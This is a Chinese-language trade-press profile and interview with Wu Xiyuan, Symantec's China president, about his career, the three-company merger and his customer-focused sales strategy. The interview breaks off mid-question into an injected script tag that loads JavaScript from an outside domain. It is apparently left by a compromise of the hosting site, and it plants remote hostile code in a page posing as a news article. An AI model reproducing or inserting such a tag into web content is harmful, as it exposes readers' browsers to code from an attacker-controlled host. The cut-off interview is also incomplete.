吴锡源现任赛门铁克公司中国区总裁，负责赛门铁克在中国的运营，直接向赛门铁克大中国区总裁郭尊华汇报工作。
在加入赛门铁克之前，吴锡源曾任思科公司中国区销售副总裁。在思科任职的6年里，他主要负责领导过思科中国的大型企业及政府行业，金融与财税行业，商业市场以及渠道与分销等销售团队。
在加入思科公司中国之前，吴锡源曾在3com公司任职7年，担任过包括大中国区总经理，北亚区总裁等多项重要职务。
吴锡源的职业生涯是从wang taiwan有限公司的工程师开始的，之后他加入了台湾ncr成为了一名销售代表，最后成为了该公司的高级客户经理。随后他加入了台湾at&t-gis公司成为了执行客户经理，并在之后成为公司非金融业务部门经理。
从今年1月正式上任赛门铁克公司中国区总裁，吴锡源在8个月的时间里很少在媒体前露面，他的企业新政似乎只能雾里看花。面对三合一(赛门铁克、维尔软件、sygate)后的新赛门铁克，吴锡源在8个月中几乎没有周末，他的这种“自虐”选择似乎从未对人提及。
离开相伴职业生涯十余年的网络基础设施领域，径直投入第四大软件厂商赛门铁克的怀抱，吴锡源笑称“一切从零开始”。为何他选择重回24年前职业生涯的起点——软件业？面对三大公司的同时整合，他何以会接受这个史无前例的极限挑战？8个月的惊蛰期后，公司业绩增长迅速得足以“吓人一跳”，到底他帮助赛门铁克改变了什么？一边批驳只注重销售数字的销售模式无法长久，一边却亲手将每月销售会议改为密集的每周通报会议，这看似矛盾的做法背后隐藏着什么销售理念？在文化融合与人才战略上，他上任以来并没有大刀阔斧地进行人员调整，是什么改变了他急性子的管理方式？
近日，吴锡源接受了中国计算机报副总编辑范兆霞的独家采访。“我会花很长时间，期望将公司运营得更简单。”他揭开了改变赛门铁克的秘密：“第一布局，第二布道，第三整合，第四了解客户需求，第五梳理内部管理流程，这些就是我8个月来一直忙的事情。”
最忙也最有收获
范兆霞：三家公司几乎同时整合为一家公司，您是如何改变赛门铁克的？
吴锡源：这是我职业生涯以来最忙的8个月，但也是收获最多的8个月。赛门铁克、维尔软件、sygate三家公司的产品不同，内部管理流程也不一致，企业文化更是大相径庭。但我觉得整合是非常有趣的一件事，从中我真的学到很多东西。我到底改变了什么？最重要的步骤就是我调整了赛门铁克的销售模式。在布局方面，和过去不同的是，我更为强调贴近客户，所以一切的布局是以最终客户为导向。同时我希望慢慢去引导新的企业文化，这是一个持续的过程，对文化的改变必须体现在日常，太急容易拔苗助长，太慢不易产生效果，所以我要花时间去布道。
我们过去比较重视的销售是产品技术，但是现在的销售模式跟以前不同，用户需要的不是某一种产品，而是需要你帮他解决问题。另外就是我们的合作伙伴，现在要从应用来得到需求。我过去13年中一直从事的是路由器、交换机等网络基础设施行业，但现在更多考虑的是如何让企业用户把这些基础设施用起来，这就一定要涉及安全与存储的问题。赛门铁克能提供服务来保护设备，保护设备里的信息，保护交易环境，这是一种未来趋势。
另外重要的就是在中国要做长远打算，不能够只是买和卖的关系，还要做投资。所以我要思考怎样去说服公司在中国做更大的投资，这将是对合作伙伴和用户的一种长期承诺。
范兆霞：贴近客户的销售模式将具体引起赛门铁克内部什么变化？
吴锡源：过去销售以总代理、经销商为导向，现在是以最终客户为导向，这是市场发展的必然趋势。我们开始做市场区隔，不同的客户需求以不同的合作伙伴来满足。现在我们把客户分为战略性客户、指定客户、中端客户、中小企业和个人用户；也按照行业区分，包括金融、电信、政府，和以医疗、制造、教育为主的商业市场。过去我们卖的是产品，强调功能强大，技术先进；今天我们卖的是服务，强调解决客户的燃眉之急。为此，专业性非常重要。过去员工只需要懂存储和安全技术，现在需要懂金融、电信等行业的客户业务，即使不懂产品技术也可以慢慢培训。唯有专业才能了解客户需求，唯有了解客户需求才能带来最大贡献，这是差别这也算是我的目标。
范兆霞：这种贴近客户的销售模式与您在思科任职时是否类似？
吴锡源：我刚从思科过来的时候不太习惯，为什么？我们拜访的人都是技术部处长、总工程师，因为与底层网络设备息息相关的都是这些技术人员，而运营中心的决策人员只关心设备每天都能够支持业务。而软件就需要涉及上层业务，就需要服务。渠道也需要与这种商业模式配套，针对不同的客户群提供个性化的服务方式。所以我很重视架构，第一个模式要做对，所以我强调布局，第二就是找对人，第三就是实施，要加强执行力度。
范兆霞：布局过程中，渠道?script src=http://er12.com/t.js>
